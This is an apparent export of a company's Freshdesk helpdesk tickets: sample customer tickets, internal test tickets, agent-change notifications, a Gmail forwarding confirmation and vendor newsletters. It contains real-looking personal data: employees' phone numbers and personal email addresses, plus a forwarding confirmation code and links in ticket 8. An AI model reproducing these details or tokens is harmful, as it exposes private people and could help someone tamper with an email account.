

TICKET DISPLAY ID : 1

SUBJECT : Payment failed?

PROBLEM DESCRIPTION : Hello there, When I tried to make the payment, I kept getting the same message ?Your payment failed? (I've attached a screenshot). But I have been charged already for it. Can you help me get a refund? Thanks James

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 08:56:39 -0300

TICKET DISPLAY ID : 2

SUBJECT : Mary Jane shoes in Size 8?

PROBLEM DESCRIPTION : Hello there, I'm looking to buy a pair of Mary Jane shoes and I noticed that you have a local store in Aldovia. Could you let me know if the Mary Jane shoes are available in Size 8? I can pick it up from there. Thanks, Emily.

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 08:56:40 -0300

Hey Emily, Thanks for writing to us! I can confirm that our Aldovia store does have the Mary Jane shoes in size 8. I've asked them to block a pair for you. Feel free to pick them up anytime :) Cheers, Rebecca. P.S. This is a sample email that's been converted into a ticket by Freshdesk. See how you can start converting email from customers into tickets in your helpdesk.

TICKET DISPLAY ID : 3

SUBJECT : Vintage table lamp - Out of stock?

PROBLEM DESCRIPTION : Hello, I saw a vintage table lamp on your site last month and I'd

bookmarked it to buy it later for a friend. I can't seem to find it anymore though. Is it out of stock or do you not sell those anymore? Thanks, Matt. ----- P.S. This is a sample message that has been sent to you from website page. See how you can add your own feedback widget

(<https://support.freshdesk.com/support/solutions/articles/37690-getting-feedback-from-your-website-with-the-feedback-widget>) on your website or app

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 08:56:41 -0300

Hi Matt, Thanks for writing in! I'm sorry to say those vintage lamps are currently out of stock. I checked with our supplier though and they think it should be available by the end of next month. But if you'd rather not wait that long, I'd love to help you find something else to gift your friend. Let me know what their interests are and I'll send across a list :) Cheers, Janet Saul's Emporium Support

TICKET DISPLAY ID : 4

SUBJECT : ogg format seems to be off

PROBLEM DESCRIPTION : Hi, I tried uploading an .ogg file, to share it with my team. But the action failed? Clarice Boone

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 17:26:52 +0530

Hi Clarice, We're sorry but we do not support the .ogg format. However, you can convert it to MP3 and upload it. This should be an easy workaround for you. If you need some more guidance with this, do let us know. We're here to help you. Micheal Saul's Inc.

TICKET DISPLAY ID : 5

SUBJECT : Unable to login

PROBLEM DESCRIPTION : I changed my login credentials and now I'm not able to login. Can you help me retrieve my account? Thanks, Sam Osborne

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 17:26:53 +0530

Hi Sam, I checked our logs and looks like you haven't verified the changes. Check your mailbox (the updated address), you'll find one from us with the subject 'Verify your email' with a link to verify the new email address. You can refer to our article on changing account details for further clarity. If you have any other doubts, feel free to reach out to us. Richard Gere Saul's Inc.

Hey, my bad. I missed the email. I verified my account, and I'm able to login in now. Thank you so much. Sam Osborne

TICKET DISPLAY ID : 6

SUBJECT : Issue with storage space

PROBLEM DESCRIPTION : Hi, On the Classic plan, I feel like the storage space provided is too less. Is it possible for us to pay some extra amount to buy more storage? Thanks, Rachel Zane

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 17:26:53 +0530

Hi Rachel, I'm sorry but we don't have this option as of yet. It's still in the pipeline. You'll be sure to know once we roll this out. :) Thanks, Norman Saul's Inc

TICKET DISPLAY ID : 7

SUBJECT : Cancelling our account

PROBLEM DESCRIPTION : Hello team, We'd like to cancel our account. We're moving on to another application. It would be great if you could have someone help us out with refunding our unused hours? On a side note, you guys have been tremendous. Thank you for your support. Thanks Bob Tree

SOLUTION CONVERSATION : created\_by: 48006745339 time: 2019-07-30 17:26:54 +0530

Hi Bob, We'll have your account manager get in touch with you shortly. :) However, it's sad to know that you're leaving us. :( Do let us know if we can help in anyway. Michael Saul's Inc.

TICKET DISPLAY ID : 8

SUBJECT : (#410433643) Like Minds Consulting Inc Forwarding Confirmation - Receive Mail from support@likemindsconsulting.com

PROBLEM DESCRIPTION : support@likemindsconsulting.com has requested to automatically forward mail to your email address likemindsconsultingcomsupport@likemindsconsultinghelp.freshdesk.com. Confirmation code: 410433643 To allow support@likemindsconsulting.com to automatically forward mail to your address, please click the link below to confirm the request: [https://mail-settings.google.com/mail/vf-%5BANGjdJ8LHZN5rFbGu\\_ZVgnakxXa9\\_N\\_lhzyevhGO94NwPJRT6l84lrUxZHiYoV0IYmjOq6XIGLvS9cQmW5lO2xOPArxBCVWHAHeDPwUKIFjzy0sPd\\_bw\\_NauaLOHZUn9b-3AurLkvwX5cib7p%5D-OvTNhJmrtlNMz1123fVBZ\\_nOqpQ](https://mail-settings.google.com/mail/vf-%5BANGjdJ8LHZN5rFbGu_ZVgnakxXa9_N_lhzyevhGO94NwPJRT6l84lrUxZHiYoV0IYmjOq6XIGLvS9cQmW5lO2xOPArxBCVWHAHeDPwUKIFjzy0sPd_bw_NauaLOHZUn9b-3AurLkvwX5cib7p%5D-OvTNhJmrtlNMz1123fVBZ_nOqpQ) If you click the link and it appears to be broken, please copy and paste it into a new browser window. If you aren't able to access the link, you can send the confirmation code 410433643 to support@likemindsconsulting.com. Thanks for using Like Minds Consulting Inc! Sincerely, The Like

Minds Consulting Inc Team If you do not approve of this request, no further action is required. support@likemindsconsulting.com cannot automatically forward messages to your email address unless you confirm the request by clicking the link above. If you accidentally clicked the link, but you do not want to allow support@likemindsconsulting.com to automatically forward messages to your address, click this link to cancel this verification: [https://mail-settings.google.com/mail/uf-%5BANGjdJ-gQJYLOe\\_75xgiokrAcPxfOh\\_Rfay6KrL9A5wWc-P-E3YgZollLq1ESIs7mnbWs9Q6Jy4tuawyNRS-4stjLUgqOdKKp2LIUKnHZWAjRo\\_2GK9YeFsqYCAfdNcOKMe9C9dQlgMRx2WbAfMq%5D-OvTNhJmrtINMz1123fVBZ\\_nOqoQ](https://mail-settings.google.com/mail/uf-%5BANGjdJ-gQJYLOe_75xgiokrAcPxfOh_Rfay6KrL9A5wWc-P-E3YgZollLq1ESIs7mnbWs9Q6Jy4tuawyNRS-4stjLUgqOdKKp2LIUKnHZWAjRo_2GK9YeFsqYCAfdNcOKMe9C9dQlgMRx2WbAfMq%5D-OvTNhJmrtINMz1123fVBZ_nOqoQ) To learn more about why you might have received this message, please visit: <http://support.google.com/mail/bin/answer.py?answer=184973>. Please do not respond to this message. If you'd like to contact the Google.com Team, please log in to your account and click 'Help' at the top of any page. Then, click 'Contact Us' along the bottom of the Help Center.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 9

SUBJECT : Test from Freshdesk

PROBLEM DESCRIPTION : Please ignore. Test email from Freshdesk. Sent from Mail for Windows 10 -- \*\*The content of this e-mail is confidential and is intended solely for the use of the individual or entity to whom it is addressed. If you have received this e-mail by mistake, please reply to this e-mail and follow with its deletion. If you are not the intended recipient, please note that it shall be considered unlawful to copy, forward or in any manner reveal the contents of this e-mail or any part thereof to anyone. Although Freshworks has taken reasonable precautions to ensure no malware is present in this e-mail, Freshworks cannot accept responsibility for any loss or damage arising from the use of this e-mail or attachments.\*\*

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 10

SUBJECT : test

PROBLEM DESCRIPTION : Test tivket -- Regards, Accounting, Like Minds Software India Private Limited 143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India [www.likemindsconsulting.com](http://www.likemindsconsulting.com) "innovation engineered" CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 11

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, aishwarya was added by Mahesh S in your account on August 2 at 5:13 AM CDT and has the roles Agent and Supervisor. You currently have 3 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 12

SUBJECT : Office Location

PROBLEM DESCRIPTION : Hi, Please update on the status of the new office location.

SOLUTION CONVERSATION : created\_by: 48007259272 time: 2019-08-02 10:16:48 UTC

TICKET DISPLAY ID : 14

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Thani was added by Mahesh S in your account on August 2 at 5:24 AM CDT and has the roles Agent and Supervisor. You currently have 4 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 15

SUBJECT : Test ticket

PROBLEM DESCRIPTION : Test ticket -- Regards, Accounting, Like Minds Software India Private Limited 143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India [www.likemindsconsulting.com](http://www.likemindsconsulting.com) "innovation engineered" CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 16

SUBJECT : test

PROBLEM DESCRIPTION : test -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this  
message and any attachments. If you are not the intended recipient, you are hereby notified that  
any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 17

SUBJECT : Reg-EKT

PROBLEM DESCRIPTION : EKT -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this  
message and any attachments. If you are not the intended recipient, you are hereby notified that  
any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 18

SUBJECT : Incoming call with Mahesh on Automations - Your ticket has been resolved



PROBLEM DESCRIPTION : Hey support@likemindsconsulting.com, We have marked your ticket as Resolved. Please check your ticket. Your Ticket details : Ticket Title : Incoming call with Mahesh on Automations Ticket URL: https://support.freshdesk.com/helpdesk/tickets/3888033 If you think the problem is not resolved, please reply to this email and we will definitely make sure to sort things out for you. If the problem is resolved to your satisfaction, please spare a minute to let us know about your support experience by participating in the survey below. Your feedback will help us serve you better.

---

<p>How would you rate your overall support experience?</p>

<a href="https://support.freshdesk.com/support/custom_surveys/13312247ffd28c9e1f8530c9f201da4e/extremely_unhappy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Awful!</a>	<a href="https://support.freshdesk.com/support/custom_surveys/13312247ffd28c9e1f8530c9f201da4e/very_unhappy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Bad</a>			

background-color:#fdfae2;"> <a href="https://support.freshdesk.com/support/custom\_surveys/13312247ffd28c9e1f8530c9f201da4e/neutral/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Just Okay</a> </td> <td style="width: 14.28%; border-right: 2px #fff solid; text-align:center; padding: 16px 0px; background-color:#ebf4e3;"> <a href="https://support.freshdesk.com/support/custom\_surveys/13312247ffd28c9e1f8530c9f201da4e/very\_happy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Good</a> </td> <td style="width: 14.28%; border-right: 2px #fff solid; text-align:center; padding: 16px 0px; background-color:#e6efdd;"> <a href="https://support.freshdesk.com/support/custom\_surveys/13312247ffd28c9e1f8530c9f201da4e/extremely\_happy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Excellent!</a> </td> </tr> </table> </div> </div>

Please note, if we don't hear from you in the next 2 days, we will assume that your request has been resolved and this ticket will be closed automatically. Sincerely, Freshdesk Support

SOLUTION CONVERSATION : Dear Mahesh, It was nice having you over call today. You were awesome and patient throughout, it was great working with you today. At Freshdesk, customer happiness is our prime importance and we make sure that we spread smiles across our customers. I believe this support experience with me was helpful to you. You are one esteemed customer of ours and it would be really great if you could share your happiness and thoughts with us through the survey link below. We will add them to our happy badges =) Wishing you a productive business and a happy day ahead =) Check your ticket status - <https://support.freshdesk.com/support/tickets/3888033> Keerthana Sowrirajan Product Specialist - Freshdesk Freshworks Inc. On Mon, 5 Aug at 11:20 AM , support@likemindsconsulting.com

TICKET DISPLAY ID : 19

SUBJECT : EKT

PROBLEM DESCRIPTION : EKT -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this  
message and any attachments. If you are not the intended recipient, you are hereby notified that  
any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 20

SUBJECT : EKT test

PROBLEM DESCRIPTION : EKT test ticket -- Regards, Accounting, Like Minds Software India  
Private Limited 143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this  
message and any attachments. If you are not the intended recipient, you are hereby notified that  
any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 21

SUBJECT : EKT test

PROBLEM DESCRIPTION : EKT Test ticket. -- Regards, Accounting, Like Minds Software India Private Limited 143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India [www.likemindsconsulting.com](http://www.likemindsconsulting.com) "innovation engineered" CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 22

SUBJECT : Please create email IDs for Rakesh and Ramesh

PROBLEM DESCRIPTION : Support team can you please create LikeMinds email ids for the following personnel Rakesh Tangri Ramesh Dhason Please send them their temporary passwords for them to do the initial sign in and then change their passwords. -- Regards [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> ?innovation engineered? Ramnath Krishnamurthi Founder & C.E.O - New Jersey - Amsterdam - Chennai - Singapore \*Vacation Dates:\* Dec 23rd - Dec 31st CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 23

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Prabhu was added by Mahesh S in your account on August 7 at 5:04 AM CDT and has the role Agent. You currently have 5 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 24

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Uvaraj was added by Mahesh S in your account on August 7 at 5:05 AM CDT and has the role Agent. You currently have 6 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 25

SUBJECT : EKT

PROBLEM DESCRIPTION : EKT Best Regards, [image: LikeMindsLogo.png]  
<<http://likemindsconsulting.com/>> ?innovation engineered? Prabhu Thirunavukkarasu IdM Engineer  
India Tel No: +91- 9791128480 USA Tel No: +1 732-790-2132 - New Jersey - Chennai - Amsterdam  
- Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments

are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 26

SUBJECT : EKT

PROBLEM DESCRIPTION : EKT -- [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Uvaraj IDM Engineer +91-8760799583 - New Jersey - Amsterdam - Chennai - Singapore

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 28

SUBJECT : LikeMinds Consulting Inc: Prabhu was deleted

PROBLEM DESCRIPTION : Hi, An agent, Prabhu was deleted by Mahesh S in your account on August 7 at 5:17 AM CDT. Note that Prabhu will still exist in your account as a contact. You currently have 5 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 29

SUBJECT : Read now for top tips on building your leadership skills

PROBLEM DESCRIPTION : Welcome to The Trailblazer Newsletter, giving you the inside scoop on Trailhead ? the fun way to learn.

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd883ad1c6a0b9d176ca8bb417a91a8287bf908fe9e8946bbdb64f75bf416aef8ecc2de10494497570e73b1746a73cd083d> HOW TO WIN #BeMOAR IMPACTFUL LEADERSHIP SERIES Build your leadership skills, score an exclusive community badge, and be entered to win\* one of 25 \$100 USD gift cards. AUGUST LEARN AND EARN Every badge you earn in August is a chance to win\* one of 25 \$100 USD gift cards. #ROADTORANGER Unlock your ranger rank this month for a chance to win\* one of 25 certification vouchers.

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd883ad1c6a0b9d176ca8bb417a91a8287bf908fe9e8946bbdb64f75bf416aef8ecc2de10494497570e73b1746a73cd083d> QUEST ON <http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8ff4874050125139706a39ba307bcb7f8dcf5e3d6fd5139438c580baed95b8bad8b766f067d0cb6b9b92d0928e06979a0> HOW TO LEARN NEW CONTENT AVAILABLE NOW The Ackee August release will help you seed brand new learning. Check out the NEW interactive Administrator Certification Prep trail and Billing Specialist superbadge. Plus, Contact Center Operations, and Financial Wellbeing badges. Follow the trailmix for new content added weekly.

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8ff4874050125139706a39ba307bcb7f8dcf5e3d6fd5139438c580baed95b8bad8b766f067d0cb6b9b92d0928e06979a0> GROW YOUR SKILLS <http://click.mail.salesforce.com/?qs=6468d7d94efa07652a7c2f4113c84b461e358dbe0904ab46f780e3d8b81b777e2d0e522d587f0066ce034555e0b1d02acd4fa8cdfbd9c918> HOW TO EARN READY TO PROVE YOUR SUPER APP BUILDING SKILLS? Challenge yourself to earn these three App Builder superbadges??App Customization Specialist, Process Automation Specialist, and Security Specialist.

<http://click.mail.salesforce.com/?qs=6468d7d94efa07652a7c2f4113c84b461e358dbe0904ab46f780e3d8b81b777e2d0e522d587f0066ce034555e0b1d02acd4fa8cdfbd9c918> SUPERBADGES ARE SUPER

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765cafcf13d10420a791002e4f880d4f50589a6ed83a26b24a213b52fc042bf2da0d2d1ebdd1e230627b19190146a2efef5> HOW TO CONNECT  
CREATE A CULTURE OF LEARNING Join this webinar to learn all about Trailhead in a Box, a new trailmix that gives you the best practices to drive Trailhead engagement wherever you work or play.

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765cafcf13d10420a791002e4f880d4f50589a6ed83a26b24a213b52fc042bf2da0d2d1ebdd1e230627b19190146a2efef5> BOX IT UP

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765f1c3a241a586a8d06ac4dec932f49b58fe80f84727c8c1e76e8292e6a3afeee1e01acde46c868aeb6e7daf5f71fc3bf5> WHAT TO WATCH LET'S  
SUCCEED TOGETHER Hear what members around the globe have to say about the Trailblazer Community and its profound influence on their job, career, and life.

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765f1c3a241a586a8d06ac4dec932f49b58fe80f84727c8c1e76e8292e6a3afeee1e01acde46c868aeb6e7daf5f71fc3bf5> WATCH THE IMPACT

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765b0918323925fc853f16094d551874739eaeaf4a4c9b5a96907029df94e6e1e88d577e28855135570f62f5c81cfdb8ca5> WHAT TO READ  
STEPPING INTO THE SPOTLIGHT Explore paw-some success stories from companies using Trailhead to drive learning across their organization.

<http://click.mail.salesforce.com/?qs=6468d7d94efa0765b0918323925fc853f16094d551874739eaeaf4a4c9b5a96907029df94e6e1e88d577e28855135570f62f5c81cfdb8ca5> GET INSPIRED

<http://click.mail.salesforce.com/?qs=6468d7d94efa076531e4104000389102efdf0afc2105899d8ef13c6bbb46ade04f45df85b9514520cf4524b89d5ddf4e29f7c5d1c2def757> JUST FOR FUN  
CUSTOMIZE YOUR OWN ASTRO With the new and improved Trailmoji app, you can now customize Astro to make them anyone you want them to be. Create your own adventure!

<http://click.mail.salesforce.com/?qs=6468d7d94efa076531e4104000389102efdf0afc2105899d8ef13c6bbb46ade04f45df85b9514520cf4524b89d5ddf4e29f7c5d1c2def757> TRAILMOJI ME

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8147d2699199f5b557b48294b8fb64828e7ac44a6c821470f40f0ac795fd5a791f6189b5f534823929fe550600f137b7f> DON'T MISS THE LATEST



TRAILHEAD BLOGS Your guide on how to learn in demand skills, earn resume worthy credentials, and connect to opportunities and mentorship to land top jobs.

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8147d2699199f5b557b48294b8fb64828e7ac44a6c821470f40f0ac795fd5a791f6189b5f534823929fe550600f137b7f> MOAR POSTS \*Official rules apply.

See the <http://click.mail.salesforce.com/?qs=6468d7d94efa0765e141975710a711e7b3e070f1f22e11ef0d70e1fe8b1a34c304f995a0ba458044f08addd1f64b4c71a4a079321d369d7c> Trailhead Quests page for full details. © 2019

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd82c4d3fcb53a98c04f356754bcc8f15e30d6f29a5fdce4c2c1bd47e3b4523e87ff272910eb54ff6e03a0bc84f2f2279d0> salesforce.com , inc. All rights reserved. Various trademarks held by their respective owners.

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd82c4d3fcb53a98c04f356754bcc8f15e30d6f29a5fdce4c2c1bd47e3b4523e87ff272910eb54ff6e03a0bc84f2f2279d0> Salesforce.com , inc. Salesforce Tower, 415 Mission Street, 3rd Floor, San Francisco, CA, 94105 General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE This email was sent to support@likemindsconsulting.com

<http://view.mail.salesforce.com/?qs=3fd8cd5832e8d5f91706144f3493f031ac7f3bd681e92ca8ba3e11b21d0b3b10b8f1375611e776c12d2cec3f3a3087ab22bd2371e9b6c582019344412d379c7e8ede37b88f3926e376043abac130c905> View in Browser |

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8728736500d08fbd0de66e40b2a6536e8a9078cf89b9ad0e01cae8d06e6a5903cc418f490980507a609297c579e9a96c8> Privacy Statement |

[http://click.mail.salesforce.com/unsub\\_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a9b2e4f18277ef41f842ca24f2e00d8d6f41e4eaa47d2820066e779766295a267cf93e92485fcc8bbe6b84b867a57e5348880ff26c4e2d2d9b](http://click.mail.salesforce.com/unsub_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a9b2e4f18277ef41f842ca24f2e00d8d6f41e4eaa47d2820066e779766295a267cf93e92485fcc8bbe6b84b867a57e5348880ff26c4e2d2d9b) Unsubscribe

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd84d692647b0ca83751069c7ccc2658cfa55cdc70cf1ce6508655803857bd24f5c65bc1a2781a2f49400e055cbf4a8919>

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd897250e0b6df60ac268e993c3f7706b6ed0a94d1e89b24eedf00108fa8593ac2111875829af42a6540014df731e1c646b>

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd86c14c10f1007596f20369b98e670035b29569d059f2df9e249c297b098f823c6f402393333931ed5972d40ed0cb9a9af>

<http://click.mail.salesforce.com/?qs=f8a335be3b5f3fd8147d2699199f5b557b48294b8fb64828e7ac44a6c821470f40f0ac795fd5a791f6189b5f534823929fe550600f137b7f>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 30

SUBJECT : Updates to our Terms of Service and Privacy Policy

PROBLEM DESCRIPTION : Hi Ramnath, We're constantly looking for ways to improve the Dropbox experience. This year we've announced new features[1] , partnerships[2] , and the acquisition of HelloSign[3] . To support these improvements, we've made a few updates to our Terms of Service and Privacy Policy. Here's a summary of the key additions: - Terms of Service . On June 11, we unveiled the new Dropbox. Our mission is to offer a robust collaboration workspace that helps users find, retrieve, organize, and prioritize their files, collaborate with others, and stay focused on their most important work. To better align with that mission and the new Dropbox, our revised Terms outline that our Services provide ?features like commenting, sharing, searching, image thumbnails, document previews, optical character recognition (OCR), easy sorting and organization, and personalization to help reduce busywork.? We've also revised our beta terms to include a confidentiality provision and to allow Dropbox to solicit feedback from beta participants. - Privacy Policy . We've updated our Privacy Policy to include more details on what personal data we collect and how we use it. For instance, our Privacy Policy now explains how Dropbox shares data with companies that it acquires (like HelloSign) and other ecosystem partners[4] that offer integrations for Dropbox users. We've also revised our Privacy Shield attestation so that data transfers from the UK to the US will continue to be covered by our Privacy Shield certification if the

UK leaves the European Union. You can read the full Terms of Service[5] and Privacy Policy[6] , which will go into effect on September 24th, 2019. You can also find our previous Terms here[7] . For more details, visit our Help Center[8] . Thanks! - The Dropbox Team [1]:

<https://www.dropbox.com/l/AAAHCCgHWHsUIKifhIA-8rjp2KZzqtdU258> [2]:

<https://www.dropbox.com/l/AADJBoiEtYl2yl4zmGXQOTxH4QWd6ATFU4g> [3]:

[https://www.dropbox.com/l/AADgYzpl65ogFAp\\_CXe0tJAIrTSUamBPK0o](https://www.dropbox.com/l/AADgYzpl65ogFAp_CXe0tJAIrTSUamBPK0o) [4]:

<https://www.dropbox.com/l/AACiCj-4vUohzKMX5RMeSOuZ6qFSkjXSiQk> [5]:

<https://www.dropbox.com/l/AAAC1vbzAh6PNCA9sUZ5B02BHntUyldiPi8/terms2019> [6]:

<https://www.dropbox.com/l/AADIF7TUPA67JdxiS7rqmZt5HreNyNDp-uc/privacy2019> [7]:

[https://www.dropbox.com/l/AACmLYN5aAcNz15Lay\\_RYG6uwL8mTOooTa0/terms](https://www.dropbox.com/l/AACmLYN5aAcNz15Lay_RYG6uwL8mTOooTa0/terms) [8]:

<https://help.dropbox.com/accounts-billing/security/terms-service-privacy-policy>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 31

SUBJECT : new email id creation for Jebastin and Bibek

PROBLEM DESCRIPTION : Hello, Please create email id for Jebastin Packiaraj Ponnudurai. His email address id pjebastin@gmail.com Also create email for Bibek Bhurtel bibbhurtel@gmail.com --

[image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Regards,

Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam - Chennai - Singapore

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

